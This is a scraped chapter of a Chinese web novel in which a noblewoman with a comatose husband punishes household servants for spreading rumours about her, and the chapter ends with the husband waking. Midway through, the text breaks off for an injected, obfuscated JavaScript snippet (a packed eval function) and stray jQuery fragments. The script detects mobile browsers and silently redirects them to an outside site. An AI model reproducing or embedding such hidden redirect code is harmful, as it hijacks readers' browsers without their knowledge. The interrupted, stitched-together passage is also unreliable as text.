45. 第 45 章

作品:《冷落我五年的夫君成了植物人

    与王家的闹心不同,徐家人的日子过得十分平静。


    五月底,徐家人迎来了小思英的周岁生辰,徐素湘斥重金买下了两匹马,一匹小马送给思英作为生辰礼物,一匹枣红骏马则留给了自己。


    她从前在房陵曾学过骑马,那马是宋县令花重金买给一双儿女学骑射用的,徐素湘当时眼馋的不得了,便央了徐英去求宋家哥哥,这才有幸让她们骑上两回。


    如今想来,往事如飞鸿踏雪,不堪回首。


    因薛氏不想在这个节骨眼上大办,徐家人便只请了花小蕊过来坐席,自己人小小热闹了一场。


    席间小厮捧了件礼物过来,说是翰林院编修宋大人送来的,徐砚临命人收了,只说谢过,并没有多余的话,徐素湘也就没在意。


    吃过午饭,思英在一堆礼物里面翻腾,拿出了一支玉笛非要她娘亲吹,苏婉慈哄她道:“娘亲不会吹笛,娘亲教你弹琴好不好?”


    “不好!”思英耍赖,黏在她娘身上不肯下来。


    徐素湘把她扒下来,嘀咕了一声:“你徐英姑姑才会吹笛呢。”


    “妹妹说什么?”苏婉慈没听清,问了一句。


    徐素湘摇头,问道:“这玉笛是谁送来的?”


    苏婉慈把笛子收起来,道:“我问过夫君,说是他以前的同窗送的,姓宋,叫宋如璋,今年殿试刚中的榜眼,现在是翰林院编修了。”


    徐素湘听着,愣了半晌。


    原来,打马游街那日,红菱未曾注意到的榜眼,便是宋家哥哥。


    他果然到了京城,也果然考中了……


    徐素湘想起大哥哥说出的那句谶言,不由地眼眶一红,她低着头抵在怀中思英的肚皮上,没敢叫人看出来。


    思英以为姑姑在和她玩,裂开嘴咯咯地笑了起来。


    傍晚,从徐家散了席出来,徐素湘坚持要骑马回去,让红菱和翠竹坐了马车跟着后面,两人不放心,又不敢不由着她,只能下了马车一左一右紧张地跟在后面。


    马蹄哒哒踏过石砖,徐素湘想起了和徐英第一次学骑马的时候,她站在一旁看着宋家哥哥小心翼翼护着徐英上马,他牵着缰绳在前面走着,偶尔一回头,看向徐英的眼神是柔软带笑的,徐英接触到他的眼神,慌得羞怯垂头。


    那是徐素湘第一次知道,什么叫暗生情愫。


    可惜……


    徐素湘今日喝了酒,已有些醺醺然,好不容易到了侯府门口,险些在马上下不来,亏了红菱和翠竹撑住她,最后还是红菱把她背了回去。


    青松已学会了不动声色地打探听澜苑的动静,听闻夫人这个时候才回来,还喝了酒,他看向榻上日渐消瘦的侯爷,不由重重叹了口气。


    再这样下去,不知道侯爷还能撑多久……


    夫人是打定主意不理会侯爷了,想不到他们五年夫妻,夫人竟心狠至此。


    青松一拳砸在自己腿上,咬紧了后槽牙。


    徐素湘因醉了酒,第二天在家中躺了一日,红菱和翠竹也难得有闲在园子里逛逛,没想到就这一逛,竟逛出了火气来。


    两人本想在园子里摘些花回去摆着,路过湖边的静云轩,忽然听见里面有人在说话,侯府里下人没事做躲躲懒她们也是知道的,一时就没放在心上。


    直到听见一人说:“昨儿傍晚,我瞧见夫人是被红菱背回来的,好像是喝醉了。”


    两人同时顿住脚步,就听见另一个人回道:“是去见外面的男人了吧,我看迟早有一天夫人要把外面的野男人带回来!”


    红菱和翠竹面色一变,里面却是传出了暧昧的笑声。


    “听说,是夫人娘家摆了席,哪有什么男人?”


    “这你也信?勋贵之家,哪有女人成日往外跑的,自从侯爷不行了,夫人就在外面撒开了欢儿,外面有什么好的,定是有男人勾着!”


    “说不定啊……”


    眼看着这几人越说越下流,红菱和翠竹怒喝一声:“放肆——”


    两人从窗下绕到门边,指着里面几个仆妇,怒不可遏道:“青天白日,谁给你们的胆子在这造夫人的谣?!”


    几人吓得站了起来,见是夫人心腹,心中暗道不好,一个个缩着脖子求情道:“两位姑奶奶饶了我们罢!是我们喝醉了浑说的,我们自己掌嘴,您二位可千万别告诉夫人去!”


    说着,其中一个自己啪啪打嘴,余下两个见状也跟着扇自己。


    “谁是你们姑奶奶,你们姑奶奶还在国公府呢!”红菱扔了花砸在几人脸上,两手叉腰,骂道,“不得好死的下作东西!侯府养着你们,你们不说好好伺候主子,反倒在这里编排起夫人来!那狗嘴里都吐些什么?你敢说我都不敢听,怕污了老娘的耳朵!仗着夫人好性儿,你们一个个都以为夫人好欺负是吧?今日若饶了你们,明日你们岂不是要爬到夫人头上拿自己当主子了!”


    翠竹见那石桌上还摆着黄酒瓜子,上去抓着酒坛子就摔在几人身上,三人一个趔趄,酒坛子噼里啪啦碎了一地,剩了几滴黄汤全洒她们鞋面上了。


    “一群烂了心肠的!喝两滴马尿就把自己当个东西了!要打嘴到夫人跟前打去,在这里装给谁看!”


    徐素湘昏昏睡起,就听见院子里闹哄哄的,她喊了人进来,却不见红菱和翠竹,而是彩菊伺候她梳妆。


    “外面怎么了?”


    彩菊一边给徐素湘挽发,一边答道:“是几个妈妈白日里吃酒,不知道说了什么混账话,两位姑娘正上火呢。”


    待梳妆好,徐素湘起身出去,红菱和翠竹两人已把院子里的下人遣出去了,彩菊见状,也悄悄退了下去,在外面守住了院门。


    红菱气呼呼地把三个仆妇在静云轩说的话道了出来,跪下道:“这帮刁奴欺负到夫人头上,夫人若不处置,她们来日必要闹出更大的事来!”


    徐素湘小时候在房陵见多了这种嚼舌的妇人,一件事只要经了她们的嘴,保管传的面目全非,而这样的人,常常能凑出一堆来。


    她问那三人道:“这些话谁是第一个说的,都有谁在传?你们若老实交代了,我还能罚轻些,若是不肯好好交代,我大不了把你们三个直接打死了扔出去。”


    三人你看看我,我看看你,竟抢着说出了一堆的名姓。


    红菱和翠竹一一记下来,回头报给徐素湘,竟有二三十人。


    “……”徐素湘惊讶了一把,都传到这个地步了,她竟今天才听说。


    她命红菱寻了林嬷嬷,带着人把提到姓名的刁奴都提了过来,一时间院子里挤满了人,经过互相指认,流言的源头指向了一个姓马的婆子。


    马婆子惶惶跪下道:“老婆子我该死,我猪油蒙了心,不该听了碧兰姑娘的几句话就编排夫人,求夫人大人大量饶了我吧!”


    “碧兰?”徐素湘皱眉看向林嬷嬷。


    林嬷嬷忙着人去把碧兰带来,眼下她心中也是后怕,自己管着侯府后院,出了这样的事她竟一点不知情,可见底下有人替她们瞒着,而这个人,除了碧兰不做他想。


    事已至此,她也保不住她了。


    碧兰一来,那马婆子忙冲着她攀咬起来,碧兰却是不慌,与她对质道:“你自己说,我那日到底同你说了什么?”


    马婆子道:“你说夫人那日出门,装扮得如同天仙一般,你都认不出来了……”


    “是啊,”碧兰一口承认,反问她,“我只说了这一句,当时你说了什么?”


    “我、我……”马婆子哑口无言。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616555|170225||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    她当时说,在以前她们村里,有死了丈夫的寡妇为了活下去,会把自己打扮好出门,去找下家。


    这话,碧兰没附和她,也没驳她。


    也不知道哪天,她顺嘴就把夫人往这里头编排起来了。


    马婆子一时有口难言,她知道自己嘴上没把门,这是被人利用了,可碧兰从没主动说过夫人的这些话,对质起来只能坐实了她自己,并不能全然推到对方头上。


    碧兰有恃无恐,主动承认了自己的错误,跪下对徐素湘道:“是奴婢多嘴,奴婢愿意领罚。”


    徐素湘盯着她,目光渐冷。


    “你的这些小聪明,以为旁人都看不出来么?”


    碧兰垂着头,打死不认:“奴婢没有,奴婢不敢。”


    徐素湘道:“念在你服侍了我一场,这次姑且留下你,再有下次,你也不必在这府里了。”


    “林嬷嬷,以后碧兰不用跟着你了,这些活计对她来说都太轻松,从今往后,她负责倒府里的夜香。这三十二人,各打二十板子,这位姓马的妈妈,等养好了伤送到庄子里去,其他人如有再犯,一样送出去。”


    林嬷嬷应了,见碧兰不甘,还要再说话,忙叫人堵了她的嘴带下去。


    碧兰什么时候被人这样对待过?眼泪当即涌了出来,回头怨恨地看了徐素湘一眼。


    这天负责打板子的妈妈们胳膊都抡酸了,徐素湘特意吩咐红菱让厨房给她们加了餐,妈妈们千恩万谢,欣然用了。


    主子发了威,侯府的下人们再不敢胡乱嚼舌。


    徐素湘整治了下人,又给林嬷嬷挑了两个得力的仆妇,嘱咐她们好好协助林嬷嬷,她年纪大了比不得年轻的时候,若有疏漏需得她们时刻提醒着,那两个仆妇恭恭敬敬应了,自去领职。


    隔日,徐素湘约了花小蕊在梨园见面。


    花小蕊跟着薛氏读了两个多月的书,准备先回一趟房陵,把学堂修缮起来,也让县里的人提前知道一声,徐素湘念她读书辛苦,特意请她看戏放松一下,顺便把出资的银钱给她送去。


    她让红菱取了秋掌柜送来的千两银票,转念一想,房陵地方小,县里的钱庄未必兑的出这么多钱,又命把银票收了,取了十块十两的金饼,装好带着出门。


    她前脚才走,碧兰后脚就让路明支开了青松。


    青松一听是红菱有事找他,以为是夫人有什么话要说,当即跟着路明去了园子里。


    他一走,碧兰就给洗墨庵里的小厮塞了银子,说是林嬷嬷落了东西在洗墨庵,命她过来找。


    青松不在,小厮们乐得浑水摸鱼,只催促碧兰快些。


    进了裴放的卧室,碧兰看见消瘦到脸颊凹陷的侯爷,眼泪当场就掉了下来。


    她倒了一晚上的夜香,再不见侯爷一面,她真的要熬不下去了。


    “侯爷……”她跪在床前,掐着自己的指尖,愤恨而又伤心,“碧兰真替您不值,您从前总让我照顾好夫人,可夫人根本配不上您这样用心!”


    “她在外面贪图玩乐,终日把自己打扮得千娇百媚,她私会男人还不许下人们说!”


    不知是不是她这几句谎话刺激到了裴放,裴放两根手指狠狠颤了颤。


    碧兰流着眼泪,想要凑近些,又怕自己身上的味道冲撞了床上的男人。她把头抵在床沿,不甘地说道:“她是个水性杨花的女人,她薄情寡性,她根本就不爱你!”


    “只有我……”


    她说着,忽然一顿,不可置信地直起身子来:“侯、侯爷?!”


    榻上,裴放缓缓睁开了眼睛,一双深黑色的瞳仁嵌在他苍白消瘦的脸上,莫名地令人感到害怕。


    那双眼睛缓缓转了一下,盯住了床边的碧兰。